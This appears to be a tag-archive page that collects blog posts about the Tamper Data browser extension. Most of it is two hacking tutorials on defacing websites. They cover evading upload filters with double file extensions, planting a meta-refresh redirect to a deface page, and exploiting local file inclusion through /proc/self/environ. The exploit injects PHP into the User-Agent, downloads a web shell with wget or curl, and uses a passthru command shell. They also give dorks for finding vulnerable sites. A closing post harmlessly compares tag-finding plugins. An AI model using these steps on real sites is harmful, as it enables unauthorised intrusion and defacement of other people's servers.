#tamper data

[findnerd-blog]

How to Use Tamper Data for Hacking

Hello Everyone, This video demonstrates how to use Tamper Data to view, record & even modify outgoing HTTP request and how to use it to change a field to an alternate value and send the tamper data to the server to see how it reacts.

For such more Blogs you can visit to http://findnerd.com/NerdDigest

[minhalmehdi]

How to Excute/Acess your .jpg Shell

find any uploading option in website. Sometimes the website will block .php extension so you have to upload it in .jpg format. First open your shell with notepad and then Save As and change the extension to one of these shell.php;.jpg shell.php.jpg shell.php..jpg shell.php.jpg shell.php.jpg:; shell.php.jpg%; shell.php.jpg; shell.php.jpg; shell.php.jpg:; If you did not find any option for uploading files, but have place where you can add news or new event or something you can use meta http-equiv to make redirection from website to your deface page. Just add  this code in news  <meta http-equiv="refresh" content="0;url=http://link_to_your_defacee_page"> after Getting admin Panel,if you can't upload .php directly upload it with modified extensions as I stated above.  After uploading, find the directoey where your fle uploaded,  example if you uploaded it in images then it will be in http://website/images/shell.php  Sometimes simple extension hiding will not work so you  have to use one addon for firefox Live HTTP Headers, Get Live firefox HTTP headers Here  https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/  Install it and then hide shell extension, go to the upload section. Open Live HTTP Headers and upload shell. Now if you try to go to the link where you have your shell uploaded it will give you error (only on some websites) so we will have to change that hided .php.jpg extension into the .php. So as we uploaded the shell and opened the Live HTTP Headers you should find where you have uploaded your shell. You will have to find the line where ti writes that you uploaded the shell. Select it and then click on button reply.  After that you have to find once again the same line of code which shows that you have uploaded shell.  So when you find it select the extension you used to hide original .php. In my case it is .jpg (List of all these extension is given in this tutorial at the beginning). When you select it delete it so that we have only c100.php. And after that once again click on reply.  It will take you to the shell, and if it does not then you will have to find manually where shell has been uploaded and go to that link.  Note : This doesn't work for every website but working in mostly websites

[minhalmehdi]

LFI and Shell Upload with Tamper Data

Hello Friends, today I'm Publishing a tutorial on what is LFI , and how to Upload Shell with Tamper Data in LFI and vulnrable website

LFI means Local File Inclusion, its gives you access to read files on a website/server via your  browser.

previously i Published a Post on LFI, you can read it here 

LFI  vulnerable website URL looks  like this: Code: www.website.com/index.php?page=/etc/passwd Here's what the code looks like that makes it vulnerable.

<?php    $file = $_GET['file'];    if(isset($file))    {   include("pages/$file");    }    else    {   include("index.php");    }    ?>

Few Things You Need for this Method 1. FireFox [download] 2. Tamper Data [download] 3. Vulnerable Sites [Get it here] or use these dorks for finding vulnrable websites inurl:index.php?homepage= inurl:index.php?page= inurl:index.php?index2= Now i'm showing  how to exploit LFI and upload your shell via /proc/self/environ using Tamper data So after selecting a vulnrable website, check /etc/passwd. Your page should come up with something that looks like this.  

 Full size Image : click here

Great !!, now you are sure  that website is vulnerable. Now check for /proc/self/environ So change your path to /proc/self/environ Your page will look  like this if the file exists, Note - not all websites have it. Full size image : Click here i'm interested in,  HTTP_USER_AGENT. now i'm going to change our user agent to try and get data from the site by injecting code where our browsers user agent should be. To do this, i am going to use tamperdata. Once you have it installed, go to your options, and go to TamperData.   Now you will got a  window looks like this. your page Must still be /proc/self/environ Click Start Tamper, and refresh your page.  i'll try some code injection. After start tampering, you should see a window  looks  like this Full size image : Click Here In the User-Agent field, type this  <?php phpinfo();?> Now vulnrable website is down loading,  you will see something like this if you did it correctly Full size Image : click here Now we can execute code, so let's upload upload your shell  Open TamperData again, click start tamper, and refresh  website. and This time in the User-Agent enter this <?exec('wget http://www.site.com/shell.txt -O shell.php');?> It will look like this Full size image : Click here it downloads  text file, and renames it as a php file  You can upload your shell as a text file using free webhosting... I already shelled a website, so I am going to use that website as file hosting when you're done with that, you can access your shell directly by going to http://site/shell.php If you getting an error, try using the same method as when you got your  http://www.site.com/index.php?page=/etc/passwd upload your shell by using the same method. http://www.site.com/index.php?page=shell.php If it loads fine the second time, you can upload a your deface using shell... checkout best deface pages here When you are done, you have a  shell, like this <3 Full size Image : Click Here Alternate Method : Some websites having extra precaution to prevent attacks like these. so use this alternate method. Change your user agent to: <? passthru($_GET['cmd']); ?> Now load website as /proc/self/environ?cmd=curl http://www.site.com/shell.txt -o shell.php  your url should look like http://www.vulnerablesite.com/index.php?page=/proc/self/environ?cmd=curl http://www.yoursite.com/shell.txt -o shell.php Now hopefully your shell uploaded. Null Bytes Adding a , or a nullbyte sometimes filters the site, and you can get around the firewalls. http://www.site.com/index.php?page=/etc/passwd written by  -DownFall

[onlineinsider]

The Best Tag Finders

Are the tags live?

I need to know asap.

I can't see them in the source code.

The likely answer is you won't. Most modern eCommerce websites use a "Container Tag" to house their many tags/pixels. If you look at the source code and you are lucky, you might see the container, but no trace of your tag.

To see all the things that your browser (Firefox, IE, Chrome, Safari) is making, you need something extra. A plugin if you will.

There are many tools for the job; HTTPwatch, Tamper Data, Httpfox, Ghostery, Fiddler2 to name but a few. In order to compare the best, let's first get rid of the worst.

Tamper Data - It's too hardcore. Amazing if you need to alter POST data on the fly, but useless to the average user. Exclusive to Firefox, this extension also lacks an export function, so you'll struggle to show anyone else your good work.

Fiddler2 - Apart from sounding ike an inappropriate Batman villain, Fiddler has a larger issue. It lies! When looking for tags you need a tool that will show requests from the Browser not the computer. This is because tracking is all about browser cookies. If the tag has been implemented in a strange way (say incorrectly via Flash) Fiddler can give false positives, thus false hope. Fiddler is good for many things, but don't always trust it when it says your tags are present.  

The Top 3

Only the best appear below. Ranked in order of greatness, considering ease of use, output options and cross browser compatability.

3. Ghostery - This is the easiest to use and most compatible plugin of them all. Simply install Ghostery for either Firefox, IE, Chrome or Safari and you'll have a rough idea of what tags are where. When running (always on by default) Ghostery will overlay a purple box on top of the webpage, identifying tracking tags by company (Google Analytics, DoubleClick etc.).

Ghostery is designed to "reveal" to the consumer the horrid and deplorable "tracking bugs" that infest web pages. It's pretty good at instilling fear into the average consumer, and if you are not scared, it makes for a pretty nifty tag sniffer.

Here you can see Ghostery in action. The reason this tool comes in at number 3 is the fact you can't really see any information about the tags other than the company. You can't see what values are being given to the tag, or even what the tag name might be.

There is a hidden toolbar, and if you can see it, you can click on the red ghost to find out more about certain tags, but it doesn't always work, so I'm discounting it.

What Ghostery is very good for is revealing what publishers your competitors are using. Simply navigate to your competitor's homepage and a whole host of pixels will be revealed, indicating which publishers are likely receiving cold hard cash from your competitors.

2. HttpFox - This plugin is simply amazing. A Firefox-only plugin this addon will work on Windows and Mac, making it number 1 for all the mac users reading this.

HttpFox (download here) shows every HTTP request that your browser makes. This means that you will see every image, asset and tag that your browser loads. It will tell you if the connection was successful, if the security certificate is invalid and will even let you filter. So for example if you are trying to find all the Mediaplex tags on your website, simply type "mediaplex.com" into the HttpFox search box, and it will only show browser requests to Mediaplex.

It's not the prettiest thing to look at, and export options are limited (you have to "copy all rows" and then paste into Excel). That said, it's super easy to use for tag finding so anyone from traffic manager to planner can get in on the action.

For the power user HttpFox is open source under the GNU GPL v2 license. The source code is available here and written entirely in XUL plus JavaScript makes it very easy to tinker with. The ability to re-purpose HttpFox into a slimmer more specialised tag sniffer makes it a firm favourite at number 2.

1. HTTPwatch Basic - the self confessed king of the tag finding tools. This plugin comes in 2 variants (Basic and Professional) and is available for both IE and Firefox.

The basic version is free and available for download here. The Professional version will set you back £259, but there is no need to buy this.

Open HTTPwatch within the browser, hit the big red Record button and you are good to go. You can filter the output on URL, type, response, even set AND/OR filters. For example filtering: URL contains "mediaplex.com" AND type is "image/*" so this will only show image pixels from Mediaplex. You can then navigate around your clients website and when you reach a page that is tagged, a new row will appear in HTTPwatch.

Should you need to save the output you can save as a HTTPwatch Studio File (.hwl). This lets you email it to another HTTPwatch user and they can see the output exactly as you saw it. Filters can be retrospectively applied, and you can quickly jump to a page by right clicking in HTTPwatch and selecting "Open URL in new Tab".

A final handy feature is the Time Charts. This gives you a rough idea of how the page loads, and makes clear any element of a page that takes too long. This is the ideal tool for discrepancy analysis since you can see at what point in your tag began loading. Sometimes you will see a page load other elements for 30 seconds before it even gets round to your tag. In this case it's time to ask the developer to move your tag closer to the top of the page.

HTTPwatch is the best Tag Finding Tool because it's incredibly easy to use as a planner or trafficker. On top of that the raw data is preserved in the .hwl file, so that when you pass on the file to someone more technical, there is still lots more for them to look at.

HTTPwatch... if only they made you for Mac!